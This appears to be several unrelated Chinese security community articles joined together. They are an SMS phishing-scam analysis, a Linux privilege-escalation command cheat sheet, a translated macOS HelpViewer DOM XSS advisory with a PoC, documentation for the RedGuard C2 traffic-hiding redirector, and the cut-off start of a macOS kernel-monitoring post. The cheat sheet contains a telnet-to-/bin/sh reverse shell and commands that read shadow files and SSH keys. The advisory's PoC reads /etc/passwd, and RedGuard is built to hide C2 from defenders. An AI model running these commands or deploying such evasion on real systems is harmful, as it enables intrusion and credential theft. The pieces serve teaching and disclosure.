疫情当下，却发现披着疫情“外衣”的网络诈骗却层出不穷。近期，360安全大脑监测到有不法分子以预约新型冠状病毒疫苗的名义，推送含钓鱼网站的短信，企图进行金融账户盗刷。在对诈骗短信及钓鱼网址深入分析后发现，诈骗团伙对钓鱼网站还做了一些攻防手段。鉴于此，对其诈骗手法、攻防手段进行梳理分析。
## 诈骗手法
使用 **0060、0079等国际短信通道**
发送钓鱼短信，诱导用户填写预约身份信息，包括姓名、证件号、手机号、交易密码、可用余额等，支付录入材料出纳费，填写短信验证码，进而使用钓鱼网址盗刷访客银行卡资金。
## 钓鱼网站的路径特征
通过对钓鱼网站页面展示的信息推测，诈骗团伙使用统一化的模板，仅通过修改页面，实现钓鱼网站的批量制作。
## 钓鱼网站的同源网站
通过研究发现，冒充企业征信的钓鱼网站也使用了同样的网站架构、仿站技巧、网站路径、加载特征，推测此类诈骗团伙使用了同一个技术提供方。
## 钓鱼网站的攻防手段
### 域名防洪
通过网址的落地页情况看，结合域名防洪手段来看，短信内的钓鱼网站域名仅作入口域名，即访问短信内的A域名会跳转到落地域名B域名，当B域名被拦截，更换B域名，从而企图躲避拦截。
### UA设备校验
针对访客设备做校验，不同设备显示内容不同。若为手机设备，才显示内容。
### 访客IP校验
页面在加载的过着中，加载了IP封锁程序，主要用来限制指定IP的访问。
### 银行卡号、身份证校验
银行卡使用了校验接口，且页面中也写入各银行卡号验证返回银行归属的代码。
银行卡内容判断。若访客输错银行卡提示访客输入正确银行卡，若访客强制跳转至下个网页，则页面不显示内容。
身份证内容判断。判断是否输入身份证号码，身份证号码是否符合规范。
### 协议盗用
网站为增加仿真度，盗用了云闪付的协议内容。
### 钓鱼短信发送号码
此类钓鱼短信的发送者号码多为 **0060、0079**
等境外号码，在研究的过程中发现市面上“国际短信通道”较多泛滥，且对发送内容没有审核要求，网赚、六合彩、催收均可发送， **还可选择对某地区进行屏蔽，**
为防止短信拦截，还可提供防拦截模板。
## 安全课堂
随着诈骗技术手段的不断升级，批量制作钓鱼网站、发送诈骗短信的难度和成本也在降低，渠道供应商要加强自我约束，规范行为，切勿被不法分子利用。广大用户要提高防骗意识，不轻易点击陌生链接，拒绝填写短信验证码，及时举报诈骗行为。 | 社区文章 |
在拿到一个 webshell 之后，大家首先会想到去把自己的权限提升到最高，windows 我们会提升到 SYSTEM 权限，而 Linux 我们会提升到
root 权限，拿在进行 Linux 提权的时候我们要进行哪些操作呢？需要了解哪些信息？使用什么样的命令？这些就是本文的重点。
关于Linux权限提升，有下面几个步骤：
信息收集：尽量收集更多的关于系统的信息。
数据分析：通过把收集到的数据以及信息进行分析，提取其中对我们提升权限有用的信息备用。
搜索：要知道我们需要搜索什么以及去哪里找对应的 exp 。
对症下药：修改我们搜索到的 exp ，针对不同的系统不同的情况做针对性的修改。
尝试：万事俱备，只欠东风，最后一步就是验收结果的时候了，有没有用在此一搏。
操作系统信息收集
如何查看服务器的版本？
cat /etc/issue
cat /etc/*-release
cat /etc/lsb-release # 基于 Debian
cat /etc/redhat-release # 基于 Redhat
如何查看内核的版本信息？
cat /proc/version
uname -a
uname -mrs
rpm -q kernel
dmesg | grep Linux
ls /boot | grep vmlinuz-
环境变量里的信息如何查看？
cat /etc/profile
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout
env
set
是否有打印机？
lpstat -a
* * *
应用和服务信息
有什么服务在运行？是以什么样的权限在运行？
ps aux
ps -ef
top
cat /etc/services
关注一下以 root 权限运行的服务，有可能对我们提权有帮助。
ps aux | grep root
ps -ef | grep root
安装了哪些应用？版本是啥？当前是否在运行？
ls -alh /usr/bin/
ls -alh /sbin/
dpkg -l
rpm -qa
ls -alh /var/cache/apt/archivesO
ls -alh /var/cache/yum/
常见的配置文件有哪些？有没有可被攻击的插件安装？
cat /etc/syslog.conf
cat /etc/chttp.conf
cat /etc/lighttpd.conf
cat /etc/cups/cupsd.conf
cat /etc/inetd.conf
cat /etc/apache2/apache2.conf
cat /etc/my.conf
cat /etc/httpd/conf/httpd.conf
cat /opt/lampp/etc/httpd.conf
ls -aRl /etc/ | awk '$1 ~ /^.r./
有什么工作任务计划？
crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root
如何查找系统内跟用户名和密码相关的文件？
grep -i user [filename]
grep -i pass [filename]
grep -C 5 "password" [filename]
find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password" # Joomla
* * *
网络通讯相关
系统内是否存在NIC？是否连接这其他网络？
/sbin/ifconfig -a
cat /etc/network/interfaces
cat /etc/sysconfig/network
网络配置信息在哪？
cat /etc/resolv.conf
cat /etc/sysconfig/network
cat /etc/networks
iptables -L
hostname
dnsdomainname
与哪些主机在通讯？
lsof -i
lsof -i :80
grep 80 /etc/services
netstat -antup
netstat -antpx
netstat -tulpn
chkconfig --list
chkconfig --list | grep 3:on
last
w
有哪些关于 IP 和 MAC 地址的缓存？
arp -e
route
/sbin/route -nee
如何抓取流量？怎么看？
tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.5.5.252 21
注意：tcpdump tcp dst [ip] [port] and tcp dst [ip] [port]
如何得到一个 shell 连接？你可以与系统交互吗？
nc -lvp 4444 # 在攻击者的 PC 上执行
nc -lvp 4445 # 在受害者的 PC 上执行
telnet [atackers ip] 4444 | /bin/sh | telnet [local ip] 4445 # 在受害者的 PC 上执行
其他姿势参见：linux下反弹shell的姿势
如何进行端口转发？
参考文章：穿越边界的姿势
其他姿势请自行探索
如何使用隧道执行命令？
ssh -D 127.0.0.1:9050 -N [username]@[ip]
proxychains ifconfig
* * *
跟用户相关的信息
我是谁？谁登入了？谁登入过？等
id
who
w
last
cat /etc/passwd | cut -d: -f1 # 列出用户
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' # 列出超级用户
awk -F: '($3 == "0") {print}' /etc/passwd # 列出超级用户
cat /etc/sudoers
sudo -l
有哪些敏感文件？
cat /etc/passwd
cat /etc/group
cat /etc/shadow
ls -alh /var/mail/
根目录如果可以访问，有哪些有趣的东西？
ls -ahlR /root/
ls -ahlR /home/
可能存在密码的文件？
cat /var/apache2/config.inc
cat /var/lib/mysql/mysql/user.MYD
cat /root/anaconda-ks.cfg
用户做了什么？
cat ~/.bash_history
cat ~/.nano_history
cat ~/.atftp_history
cat ~/.mysql_history
cat ~/.php_history
有关用户的信息在哪？
cat ~/.bashrc
cat ~/.profile
cat /var/mail/root
cat /var/spool/mail/root
私钥在什么地方？
cat ~/.ssh/authorized_keys
cat ~/.ssh/identity.pub
cat ~/.ssh/identity
cat ~/.ssh/id_rsa.pub
cat ~/.ssh/id_rsa
cat ~/.ssh/id_dsa.pub
cat ~/.ssh/id_dsa
cat /etc/ssh/ssh_config
cat /etc/ssh/sshd_config
cat /etc/ssh/ssh_host_dsa_key.pub
cat /etc/ssh/ssh_host_dsa_key
cat /etc/ssh/ssh_host_rsa_key.pub
cat /etc/ssh/ssh_host_rsa_key
cat /etc/ssh/ssh_host_key.pub
cat /etc/ssh/ssh_host_key
* * *
文件系统
/etc/ 下有哪些文件可写，哪些服务可以被重新配置？
ls -aRl /etc/ | awk '$1 ~ /^.w./' 2>/dev/null # Anyone
ls -aRl /etc/ | awk '$1 ~ /^..w/' 2>/dev/null # Owner
ls -aRl /etc/ | awk '$1 ~ /^.....w/' 2>/dev/null # Group
ls -aRl /etc/ | awk '1 ~ /w./' 2>/dev/null # Other
find /etc/ -readable -type f 2>/dev/null # Anyone
find /etc/ -readable -type f -maxdepth 1 2>/dev/null # Anyone
在 /var/ 下我们能发现什么？
ls -alh /var/log
ls -alh /var/mail
ls -alh /var/spool
ls -alh /var/spool/lpd
ls -alh /var/lib/pgsql
ls -alh /var/lib/mysql
cat /var/lib/dhcp3/dhclient.leases
在网站的目录下有没有隐藏文件？
ls -alhR /var/www/
ls -alhR /srv/www/htdocs/
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/
ls -alhR /var/www/html/
有哪些日志文件？
cat /etc/httpd/logs/access_log
cat /etc/httpd/logs/access.log
cat /etc/httpd/logs/error_log
cat /etc/httpd/logs/error.log
cat /var/log/apache2/access_log
cat /var/log/apache2/access.log
cat /var/log/apache2/error_log
cat /var/log/apache2/error.log
cat /var/log/apache/access_log
cat /var/log/apache/access.log
cat /var/log/auth.log
cat /var/log/chttp.log
cat /var/log/cups/error_log
cat /var/log/dpkg.log
cat /var/log/faillog
cat /var/log/httpd/access_log
cat /var/log/httpd/access.log
cat /var/log/httpd/error_log
cat /var/log/httpd/error.log
cat /var/log/lastlog
cat /var/log/lighttpd/access.log
cat /var/log/lighttpd/error.log
cat /var/log/lighttpd/lighttpd.access.log
cat /var/log/lighttpd/lighttpd.error.log
cat /var/log/messages
cat /var/log/secure
cat /var/log/syslog
cat /var/log/wtmp
cat /var/log/xferlog
cat /var/log/yum.log
cat /var/run/utmp
cat /var/webmin/miniserv.log
cat /var/www/logs/access_log
cat /var/www/logs/access.log
ls -alh /var/lib/dhcp3/
ls -alh /var/log/postgresql/
ls -alh /var/log/proftpd/
ls -alh /var/log/samba/
值得注意的: auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info,
mail.log, mail.warn, messages, syslog, udev, wtmp
如果命令执行被监视怎么办？
python -c 'import pty;pty.spawn("/bin/bash")'
echo os.system('/bin/bash')
/bin/sh -i
文件系统如何安装？
mount
df -h
是否有未安装的文件系统？
cat /etc/fstab
有哪些 “ 高级的 Linux 文件权限 ” 在使用？
find / -perm -1000 -type d 2>/dev/null # Sticky bit - 只有目录的所有者或文件的所有者才能删除或重命名。
find / -perm -g=s -type f 2>/dev/null # SGID (chmod 2000) - 作为组运行，而不是启动它的用户。
find / -perm -u=s -type f 2>/dev/null # SUID (chmod 4000) - 作为所有者运行，而不是启动它的用户。
find / -perm -g=s -o -perm -u=s -type f 2>/dev/null # SGID or SUID
for i in locate -r "bin$"; do find $i ( -perm -4000 -o -perm -2000 ) -type f
2>/dev/null; done # 查找常见位置中用于 SGID 或 SUID 的文件
find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \;
2>/dev/null # 从根开始查找所有的 SUID 不包括符号链接，并且只搜索三层
如何查找可写可执行的目录？
find / -writable -type d 2>/dev/null # 可写目录
find / -perm -222 -type d 2>/dev/null # 可写目录
find / -perm -o w -type d 2>/dev/null # 可写目录
find / -perm -o x -type d 2>/dev/null # 可执行目录
find / ( -perm -o w -perm -o x ) -type d 2>/dev/null
如何查找可能存在问题的文件？
find / -xdev -type d ( -perm -0002 -a ! -perm -1000 ) -print # 可写的文件
find /dir -xdev ( -nouser -o -nogroup ) -print # 没有归属的文件
* * *
寻找可利用的漏洞
安装支持哪些工具和语言？
find / -name perl*
find / -name python*
find / -name gcc*
find / -name cc
能够用于上传的软件有那些？
find / -name wget
find / -name nc*
find / -name netcat*
find / -name tftp*
find / -name ftp
查找 exploit 的网站？
<http://www.exploit-db.com>
<http://1337day.com>
<http://www.securiteam.com>
<http://www.securityfocus.com>
<http://www.exploitsearch.net>
<http://metasploit.com/modules/>
<http://securityreason.com>
<http://seclists.org/fulldisclosure/>
<http://www.google.com>
有关漏洞的更多信息？
<http://www.cvedetails.com>
<http://packetstormsecurity.org/files/cve/[CVE>]
<http://cve.mitre.org/cgi-bin/cvename.cgi?name=[CVE>]
<http://www.vulnview.com/cve-details.php?cvename=[CVE>]
* * *
应急措施
针对以上提到的所有命令，执行收集一下信息，看能否找到可以利用的点，然后针对可利用的点进行升级或者使用一些安全产品来做防护，使用如下命令进行升级：
apt-get update && apt-get upgrade
yum update
一些运行权限的问题？比如 mysql 是否是用 root 权限运行的？
文章来源：
blog.g0tmi1k.com
欢迎关注我的公众号【信安之路】，我们一起学习成长。 | 社区文章 |
# 【漏洞预警】Mac OS X存在Javascript沙箱绕过漏洞，可造成任意文件读取！（含PoC）
|
##### 译文声明
本文是翻译文章，文章来源：wearesegment.com
原文地址：<https://www.wearesegment.com/research/Mac-OS-X-Local-Javascript-Quarantine-Bypass.html>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
****
译者：[興趣使然的小胃](http://bobao.360.cn/member/contribute?uid=2819002922)
预估稿费：120RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**漏洞概要**
漏洞名称：Mac OS X本地Javascript隔离绕过漏洞（可读取本地文件）
影响产品：Mac OS X
影响版本：10.12, 10.11, 10.10及之前的版本也可能受到该漏洞的影响
影响厂商：apple.com
漏洞类型：DOM Based XSS
风险等级：3 / 5
漏洞发现者：Filippo Cavallarin – wearesegment.com
CVE编号：N/A
通知厂商日期：2017-07-15
厂商修复日期：2017-09-25
漏洞公开日期：2017-09-28
**
**
**漏洞细节**
**Mac OS X存在一个漏洞，利用这个漏洞，攻击者可以绕过Apple的隔离机制，不受任何限制执行任意Javascript代码。**
Apple隔离机制的原理是在下载的文件上设置一个扩展属性，以便系统在受限环境中打开或者执行这些文件（从下载的归档文件或者图像中提取的文件也适用于这种场景）。举个例子，被隔离的html文件无法加载本地资源。
该漏洞存在于某个html文件中，这个文件是Mac OS
X内核的一部分，容易受到基于DOM的XSS攻击影响，最终导致在（未受限）上下文中执行任意Javascript命令。
**演示视频**
该文件的具体路径为：“/System/Library/CoreServices/HelpViewer.app/Contents/Resources/rhtmlPlayer.html”，文件包含如下代码：
<script type="text/javascript" charset="utf-8">
setBasePathFromString(urlParam("rhtml"));
loadLocStrings();
loadJavascriptLibs();
function init () { /* <-- called by <body onload="init()" */
[...]
rHTMLPath = urlParam("rhtml"); /* <-- takes 'rhtml' parameters from current url */
[...]
self.contentHttpReq.open('GET', rHTMLPath, true);
self.contentHttpReq.onreadystatechange = function() {
if (self.contentHttpReq.readyState == 4) {
loadTutorial(self.contentHttpReq.responseText);
}
}
[...]
}
function loadTutorial(response) {
var rHTMLPath = urlParam("rhtml");
// this will create a tutorialData item
eval(response);
[...]
}
function loadLocStrings()
{
var headID = document.getElementsByTagName("head")[0];
var rHTMLPath = urlParam("rhtml");
rHTMLPath = rHTMLPath.replace("metaData.html", "localizedStrings.js");
var newScript = document.createElement('script');
newScript.type = 'text/javascript';
newScript.src = rHTMLPath;
headID.appendChild(newScript);
}
[...]
</script>
简而言之，这段代码会从“rhtml”查询字符串参数中提取url地址，然后向该地址发起请求，将响应数据作为javascript代码加以执行。
这段代码中包含两段不同的基于DOM的XSS代码。
第一段代码位于loadLocStrings()函数内，该代码创建了一个SCRIPT元素，使用“rhtml”参数作为“src”的属性。
第二段代码位于init()函数内，使用“rhtml”参数发起ajax调用，然后将响应数据直接传递个eval()进行处理。
这样做的结果就是同样的载荷会被执行两次。
攻击者只要提供一个包含恶意数据的uri，就能控制响应数据，进而控制执行语句。
攻击者可以使用.webloc文件来利用这个漏洞。通常情况下，这类文件包含url地址，使用Safari打开这类文件时，它们会自动加载这个url地址。
攻击者可以构造一个.webloc文件，诱导受害者打开这个文件，然后就可以在受害者主机上执行高权限javascript命令。
由于.webloc文件同样会使用扩展属性来存储数据，因此攻击者需要将这类文件存放在tar归档文件中再发送给受害者（也可以存储在其他支持扩展属性的文件中）。
**PoC**
如果要重现这个漏洞，我们需要执行如下操作：
1、创建一个在目标上执行的javascript文件。
2、使用base64对文件内容进行编码。
3、将其编码为“uri组件（uri component）”（例如，我们可以使用encodeURIComponent这个js函数完成这一任务）。
4、利用这段数据构造如下形式的uri：
data:text/plain;base64,<urlencoded base64>
5、在开头添加如下字符串：
file:///System/Library/CoreServices/HelpViewer.app/Contents/Resources/rhtmlPlayer.html?rhtml=
6、使用Safari打开这个地址。
7、将其保存为书签。
8、将该书签拖放到Finder中（此时会创建一个.webloc文件，如果扩展名不是.webloc，需要重命名为正确的扩展名）。
9、创建一个tar归档文件，包含这个.webloc文件。
10、将归档文件发送给受害者。
需要注意的是，受限于rhtmlPlayer.html的处理流程，为了访问本地资源，我们所构造的javascript代码中第一行必须为：document.getElementsByTagName("base")[0].href=""。
我们可以使用如下bash脚本，将某个javascript文件转化为最终可利用的“file” url地址：
#!/bin/bash
BASEURL="file:///System/Library/CoreServices/HelpViewer.app/Contents/Resources/rhtmlPlayer.html?rhtml="
BASEJS="(function(){document.getElementsByTagName('base')[0].href='';if('_' in window)return;window._=1;"
DATAURI="data:text/plain;base64,"
JSFILE=$1
if [ "$JSFILE" = "" ]; then
echo "usage: $0 "
exit 1
fi
JS=$BASEJS`cat $JSFILE`"})();"
ENCJS=`echo -n $JS | base64 | sed 's/=/%3D/g' | sed 's/+/%2F/g' | sed 's///%2B/g'`
URL="$BASEURL""$DATAURI""$ENCJS"
echo -ne "Paste the url below into Safari's url bar:n33[33m$URL33[0mn"
使用如下javascript代码，我们可以在受害者主机上显示“/etc/passwd”文件内容：
xhr = new XMLHttpRequest();
xhr.open("GET", "/etc/passwd", true);
xhr.onreadystatechange = function(){
if (xhr.readyState == 4) {
alert(xhr.responseText);
}
};
xhr.send();
需要注意的是，只有Safari才能通过ajax成功加载本地资源（Chrome以及Firefox不行）。对我们来说这并不是个问题，因为在这个漏洞利用过程中，只有Safari会打开.webloc文件。
**备注**
在本文成稿时，新版的Mac OS X High Sierra中悄悄修复了这个漏洞，因此Apple的更新日志中没有提到这个bug。
Apple没有为这个漏洞分配CVE编号。
**解决办法**
请更新至Mac OS X High Sierra，或者删除rhtmlPlayer.html以修复这个漏洞。
**漏洞状态**
Securiteam安全披露计划已公布了该漏洞，具体地址为：<http://www.beyondsecurity.com/ssd> 。 | 社区文章 |
# 0x00 介绍
## 工具介绍
RedGuard，是一款C2设施前置流量控制技术的衍生作品，有着更加轻量的设计、高效的流量交互、以及使用go语言开发具有的可靠兼容性。它所解决的核心问题也是在面对日益复杂的红蓝攻防演练行动中，给予攻击队更加优秀的C2基础设施隐匿方案，赋予C2设施的交互流量以流量控制功能，拦截那些“恶意”的分析流量，更好的完成整个攻击任务。
RedGuard是一个C2设施前置流量控制工具，可以避免Blue Team,AVS,EDR,Cyberspace Search Engine的检查。
## 应用场景
* 攻防演练中防守方根据态势感知平台针对C2交互流量的分析溯源
* 防范云沙箱环境下针对木马样本的恶意分析
* 阻止恶意的请求来实施重放攻击，实现混淆上线的效果
* 在明确上线服务器IP的情况下，以白名单的方式限制访问交互流量的请求
* 防范网络空间测绘技术针对C2设施的扫描识别，并重定向或拦截扫描探针的流量
* 支持对多个C2服务器的前置流量控制，并可实现域前置的效果实现负载均衡上线，达到隐匿的效果
* 能够通过请求IP反查API接口针对根据 IP 地址的归属地进行地域性的主机上线限制
* 通过目标请求的拦截日志分析蓝队溯源行为，可用于跟踪对等连接事件/问题
* 具有自定义对样本合法交互的时间段进行设置，实现仅在工作时间段内进行流量交互的功能
* Malleable C2 Profile 解析器能够严格根据 malleable profile验证入站 HTTP/S 请求，并在违规情况下丢弃外发数据包（支持Malleable Profiles 4.0+）
* 内置大量与安全厂商相关联的设备、蜜罐、云沙箱的IPV4地址黑名单，实现自动拦截重定向请求流量
* 可通过自定义工具与样本交互的SSL证书信息、重定向URL，以规避工具流量的固定特征
* ..........
# 0x01 安装
可以直接下载并使用已经编译好的版本，也可以远程下载go包进行自主编译执行。
git clone https://github.com/wikiZ/RedGuard.git
cd RedGuard
# 也可以使用upx压缩编译后的文件体积
go build -ldflags "-s -w"
# 赋予工具可执行权限，并进行初始化操作
chmod +x ./RedGuard&&./RedGuard
# 0x02 配置说明
## 初始化
如下图，首先对RedGuard赋予可执行权限并进行初始化操作，第一次运行会在当前用户目录下生成配置文件，以实现灵活的功能配置，
**配置文件名：.RedGuard_CobaltStrike.ini** 。
**配置文件内容：**
cert的配置选项主要是针对样本与C2前置设施的HTTPS流量交互证书的配置信息，proxy主要用于配置反向代理流量中的控制选项，具体使用会在下面进行详细讲解。
在流量的交互中使用的SSL证书会生成在RedGuard执行所在目录下的cert-rsa/目录下，可以通过修改配置文件进行工具的基础功能启停
**(证书的序列号是根据时间戳生成的，不用担心被以此关联特征)** 。如果你想要使用自己的证书，只需要重命名为ca.crt和ca.key覆盖在cert-rsa/目录下即可。
openssl x509 -in ca.crt -noout -text
每次启动RedGuard都会更新随机TLS JARM指纹，防止被以此佐证C2设施。
## RedGuard Usage
root@VM-4-13-ubuntu:~# ./RedGuard -h
Usage of ./RedGuard:
-allowIP string
Proxy Requests Allow IP (default "*")
-allowLocation string
Proxy Requests Allow Location (default "*")
-allowTime string
Proxy Requests Allow Time (default "*")
-common string
Cert CommonName (default "*.aliyun.com")
-country string
Cert Country (default "CN")
-dns string
Cert DNSName
-drop string
Proxy Filter Enable DROP (default "false")
-host string
Set Proxy HostTarget
-http string
Set Proxy HTTP Port (default ":80")
-https string
Set Proxy HTTPS Port (default ":443")
-ip string
IPLookUP IP
-locality string
Cert Locality (default "HangZhou")
-location string
IPLookUP Location (default "风起")
-malleable string
Set Proxy Requests Filter Malleable File (default "*")
-organization string
Cert Organization (default "Alibaba (China) Technology Co., Ltd.")
-redirect string
Proxy redirect URL (default "https://360.net")
-type string
C2 Server Type (default "CobaltStrike")
-u Enable configuration file modification
**P.S. 可以使用参数命令的方式修改配置文件，当然我觉得可能直接vim手动修改更方便。**
# 0x03 工具使用
## 基础拦截
如果直接对反向代理的端口进行访问，则会触发拦截规则，这里通过输出的日志可以看到客户端请求根目录，但是因为其请求过程未带有请求的凭证，也就是正确的HOST请求头所以触发了基础拦截的规则，流量被重定向到了<https://360.net>
这里为了方便展示输出效果，实际使用可以通过`nohup ./RedGuard &`后台运行。
{"360.net":"http://127.0.0.1:8080","360.com":"https://127.0.0.1:4433"}
从上面的slice不难看出，360.net对应了代理到本地8080端口，360.com指向了本地的4433端口，且对应了使用的HTTP协议的不同，在后续上线中，需要注意监听器的协议类型需要和这里设置的保持一致，并设置对应HOST请求头。
如上图，在未授权情况下，我们得到的响应信息也是重定向的站点返回信息。
## 拦截方式
上述的基础拦截案例中，使用的是默认的拦截方式，也就是将非法流量以重定向的方式拦截，而通过配置文件的修改，我们可以更改拦截的方式，以及重定向的站点URL，其实这种方式与之说是重定向，描述为劫持、克隆或许更贴切，因为返回的响应状态码为200，是从另一个网站获取响应，以尽可能接近地模仿克隆/劫持的网站。
无效数据包可能会根据两种策略被错误路由：
* **reset** ：立即终止 TCP 连接。
* **proxy** ：从另一个网站获取响应，以尽可能接近地模仿克隆/劫持的网站。
# Determines whether to intercept intercepted traffic default false / true
DROP = false
# URL to redirect to
Redirect = https://360.net
配置文件中 **Redirect = URL**
指向的就是劫持的URL地址，RedGuard支持“热更改”，也就是说在工具通过nohup这种方式在后台运行的过程中，我们依旧可以通过修改配置文件的内容进行实时的功能启停。
./RedGuard -u --drop true
注意，通过命令行修改配置文件的时候。-u选项不要少，否则无法对配置文件修改成功，如果需要还原默认配置文件设置只需要输入 `./RedGuard -u`
即可。
而另一种拦截方式就是DROP，直接Close HTTP通信响应，通过设置 **DROP = true** 启用，具体拦截效果如下图：
可以看到，没有获取到HTTP响应码，C2前置流量控制对非法请求直接close响应，在网络空间测绘的探测中，DROP的方式可以实现隐藏端口开放情况的作用，具体效果可以看下面的案例分析。
## 代理端口修改
这里其实就很好理解了，对配置文件中以下两个参数的配置实现更改反向代理端口的效果，这里建议在不与当前服务器端口冲突的前提下，使用默认的端口隐匿性会更好，如果一定要修改，那么注意参数值的
**:** 不要缺少
# HTTPS Reverse proxy port
Port_HTTPS = :443
# HTTP Reverse proxy port
Port_HTTP = :80
## RedGuard日志
通过目标请求的拦截日志分析蓝队溯源行为，可用于跟踪对等连接事件/问题，日志文件生成在运行RedGuard所在目录下，
**文件名：RedGuard.log** 。
## 请求地域限制
配置方式以AllowLocation = 济南,北京
为例，这里值得注意的是，RedGuard提供了两个IP归属地反查的API，一个适用于国内用户，另一个适用于海外用户，并且可以根据输入的地域名动态的分配使用哪个API，如果目标是中国的那么设置的地域就输入中文，反之输入英文地名，建议国内的用户使用中文名即可，这样反查到的归属地准确度以及API的响应速度都是最好的选择。
P.S. 国内用户，不要使用 **AllowLocation = 济南,beijing** 这种方式！没啥意义，参数值的首个字符决定使用哪个API！
# IP address owning restrictions example:AllowLocation = 山东,上海,杭州 or shanghai,beijing
AllowLocation = *
决定限制地域之前，可以通过以下命令手动查询IP地址归属地。
./RedGuard --ip 111.14.218.206
./RedGuard --ip 111.14.218.206 --location shandong # 使用海外API查询归属地
这里我们设置仅允许山东地域上线
**合法流量：**
**非法请求地域：**
关于地域限制的上线，在目前的攻防演练可能比较实用，基本上省市级的护网限制的目标都是在指定区域中，而对于其他地域请求的流量自然可以忽略不计，而RedGuard这一功能不仅仅可以限制单一地域也可以根据省、市限制多个上线地域，而对其他地域请求的流量进行拦截。
## 基于白名单拦截
除了RedGuard内置的安全厂商IP的黑名单，我们还可以依据白名单的方式进行限制，其实我也是建议在web打点的时候，我们可以根据白名单限制上线的IP的地址，以，分割多个IP地址的方式。
# Whitelist list example: AllowIP = 172.16.1.1,192.168.1.1
AllowIP = 127.0.0.1
如上图，我们限制仅允许127.0.0.1上线，那么其他IP的请求流量就会被拦截。
## 基于时间段拦截
这个功能就比较有意思了，在配置文件中设置以下参数值，代表了流量控制设施仅可以上午8点至晚上9点上线，这里具体的应用场景也就是在指定攻击时间内，我们允许与C2进行流量交互，其他时间保持静默状态。这也能让红队们睡一个好觉，不用担心一些夜班的蓝队无聊去分析你的木马，然后醒来发生不可描述的事情，哈哈哈。
# Limit the time of requests example: AllowTime = 8:00 - 16:00
AllowTime = 8:00 - 21：00
## Malleable Profile
RedGuard采用 Malleable C2
配置文件。然后，它解析提供的可延展配置文件部分以了解合同并仅通过那些满足它的入站请求，同时误导其他请求。诸如`http-stager`,`http-get`和`http-post`它们对应的 uris, headers, User-Agent 等部分都用于区分合法信标的请求和不相关的 Internet
噪声或 IR/AV/EDR 越界数据包。
# C2 Malleable File Path
MalleableFile = /root/cobaltstrike/Malleable.profile
风起编写的profile，推荐使用：
> <https://github.com/wikiZ/CobaltStrike-Malleable-Profile>
# 0x04 案例分析
## 空间测绘
如下图所示，当我们的拦截规则设置为DROP的时候，空间测绘系统探针会对我们反向代理端口的/目录进行几次探测，理论上测绘发送的请求包就是伪造成正常的流量所示。但是当尝试几次因为请求包特征不符合RedGuard的放行要求，所以均被Close
HTTP响应。最终展现在测绘平台上的效果也就是认为反向代理端口未开放。
下图所示的流量也就是当拦截规则设置为Redirect时，我们会发现当测绘探针收到响应后会继续对我们进行目录扫描，UserAgent为随机，看起来符合正常流量的请求，但是也都成功被拦截了。
**测绘平台 - 重定向拦截方式效果：**
## 域前置
RedGuard是支持域前置的，在我看来一共有两种展现形式，一种是利用传统的域前置方式，在全站加速回源地址中设置为我们反向代理的端口即可实现。在原有的基础上给域前置增加了流量控制的功能，并且可以根据我们设置的重定向到指定URL使其看起来更像是真的。需要注意HTTPS
HOST头RedGuard设置的要与全站加速的域名一致才可以。
在单兵作战中，我建议可以使用上述方式，而在团队任务中，也可以通过自建“域前置”的方式来实现。
在自建域前置中，保持多个反向代理端口一致，HOST头一致指向后端真实的C2服务器监听端口。而这种方式，可以很好的隐藏我们的真实C2服务器，而反向代理的服务器可以通过配置防火墙仅开放代理端口即可。
这里可以通过多个节点服务器实现，在CS监听器HTTPS上线IP配置多个我们的节点IP。
## CobaltStrike上线
如果说上面的这种方式有一个问题就是，实际上线的C2服务器是不能通过防火墙直接拦截掉的，因为在反向代理中实际进行负载均衡请求的是云服务器厂商IP进行的。
如果是单兵作战的话，我们可以在云服务器防火墙设置拦截策略。
然后把代理指向的地址设置为<https://127.0.0.1:4433这种即可。>
{"360.net":"http://127.0.0.1:8080","360.com":"https://127.0.0.1:4433"}
而且因为我们的基础验证就是基于HTTP HOST请求头来做的，所以在HTTP流量中看到的也是与域前置的方式一致，但是成本更低，只需要一台云服务器即可实现。
对于监听器的设置上线端口设置为RedGuard反向代理端口，监听端口为本机实际上线端口。
# 0x05 Loading
感谢各位用户的支持，RedGuard也会坚持进行完善更新的，希望 RedGuard 能够让更多安全从业者所知，工具参考了RedWarden的设计思想。
**欢迎大家多多提出需求，RedGuard也会在这些需求中不断地成长，完善！**
**关于开发者 风起 相关文章：<https://www.anquanke.com/member.html?memberId=148652>**
**Kunyu:<https://github.com/knownsec/Kunyu>**
> 风起于青萍之末，浪成于微澜之间。
# 0x06 Community
如果有问题或者需求可以在项目下提交issue，或通过添加WeCat联系工具作者。 | 社区文章 |
作者：[keenjoy95](http://weibo.com/ttarticle/p/show?id=2309404147420605875697
"keenjoy95")
随着 macOS / iOS 普及程度的提高，mac 平台的内核监控与攻防也渐渐地成为了热门话题。
笔者近期实践了一些可行的监控方案，这些方案将有助于构建完整的内核监控系统。
#### Kernel Authorization
首先值得关注的是 KAuth 机制，该机制于 12 年前引入 Mac OS X 10.4 Tiger
内核。这一可以称得上是简陋的回调接口由苹果官方认可，我们可以在开发者中心找到详细的示例代码和文档 [1]。
实践后可发现 KAuth 机制很容易上手，但天花板也随之而来。正如 Jonathan Levin 在《*OS Internals Volume
III》[2] 一书中总结的那样，作为 KPI (Kernel Programming Interface) 的 KAuth
机制缺乏细粒度的监控能力，基于它去设计安防软件一定会捉襟见肘。
以进程监控回调 `KAUTH_FILEOP_EXEC` 为例，我们可以得到进程路径，但无法取得命令行参数。类似的情况还有文件创建时的 fmodep
上下文等。
不过这种限制不应该难倒我们，通过反汇编引擎和动态栈回溯我们可以挖出这些信息。下图是 Google Chrome 运行时那冗长的启动参数：
Google Chrome 命令行参数Google Chrome 命令行参数
#### MAC (Mandatory Access Control) Framework
